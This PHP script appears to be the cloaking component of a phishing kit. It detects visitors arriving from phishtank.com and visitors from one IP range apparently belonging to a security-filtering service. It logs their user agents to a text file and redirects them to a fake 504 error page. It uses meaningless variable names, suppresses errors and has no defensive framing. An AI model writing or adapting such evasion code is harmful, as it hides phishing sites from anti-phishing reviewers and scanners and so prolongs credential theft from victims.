<?php
error_reporting(0);
if (isset($_SERVER['HTTP_REFERER'])) {
    if (parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) == 'phishtank.com') {
        $pjhtayn = "#> " . $_SERVER['HTTP_USER_AGENT'] . " [ Phishtank ] \r\n";
        $save = fopen("./tmif.txt", "a+");
        fwrite($save, $pjhtayn);
        fclose($save);
        header('Location: ./504.php');
        exit();
    }
}

if (isset($_SERVER['HTTP_REFERER'])) {
    if (
        parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) == 'www.phishtank.com'
    ) {
        $pjhtayn = "#> " . $_SERVER['HTTP_USER_AGENT'] . " [ Phishtank ] \r\n";
        $save = fopen("./tmif.txt", "a+");
        fwrite($save, $pjhtayn);
        fclose($save);
        header('Location: ./504.php');
        exit();
    }
}
$tmjiserk = ip2long("146.112.0.0");
$mjherfac = ip2long("146.112.255.255");
$mjlkerap = ip2long($_SERVER['REMOTE_ADDR']);

if ($mjlkerap >= $tmjiserk && $mjlkerap <= $mjherfac) {
    $pjhtayn = "#> " . $_SERVER['HTTP_USER_AGENT'] . " [ Blacklist ] \r\n";
    $save = fopen("./tmif.txt", "a+");
    fwrite($save, $pjhtayn);
    fclose($save);
    header('Location: ./504.php');
    exit();
}
